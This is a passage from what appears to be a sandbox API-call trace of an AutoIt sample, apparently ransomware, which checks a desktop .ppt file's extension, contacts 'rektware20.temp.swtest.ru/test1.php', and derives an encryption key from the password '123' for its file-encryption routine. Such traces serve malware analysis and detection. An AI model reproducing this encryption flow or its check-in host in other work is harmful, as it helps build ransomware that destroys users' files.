(Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="F-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LI0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="0lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lw.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="w.ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0075.036] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ppt", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0075.036] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0075.037] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0075.037] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0075.037] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0075.037] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0075.037] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0075.037] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0075.037] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0075.037] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0075.037] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0075.037] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0075.037] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0075.038] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0075.038] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0075.038] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0075.038] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629190, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629190*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0075.038] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629500, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629500*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0075.038] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0075.038] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0075.038] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0075.038] CloseHandle (hObject=0x0) returned 0 [0075.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.039] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\F-DLI0lw.ppt", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0075.039] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0075.039] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.039] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.039] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.039] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0075.039] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.040] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0075.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.040] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0075.040] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.040] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.040] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.041] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.041] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0075.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0075.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e330, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0075.043] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0075.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0075.043] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164dfb0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0075.043] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0075.043] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0075.047] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.047] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.047] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0075.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.047] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.047] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0075.047] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.048] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0075.048] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.048] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0075.048] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.048] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.048] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.048] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.048] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.048] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.048] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0075.048] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621468, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0075.049] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0075.049] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629490, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.049] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0075.049] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0075.049] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.049] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.049] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.049] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0075.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621750, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0075.050] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0075.050] CryptHashData (hHash=0x164c4f0, pbData=0x1629470, dwDataLen=0x3, dwFlags=0x1) returned 1 [0075.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.050] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.050] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.050] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0075.050] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0075.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0075.050] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16217c8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0075.051] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0075.051] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c4f0, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c830) returned 1 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0075.051] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0075.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0075.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0075.051] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e050, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0075.051] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0075.051] CryptDestroyHash (hHash=0x164c4f0) returned 1 [0075.051] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0075.051] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0075.052] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 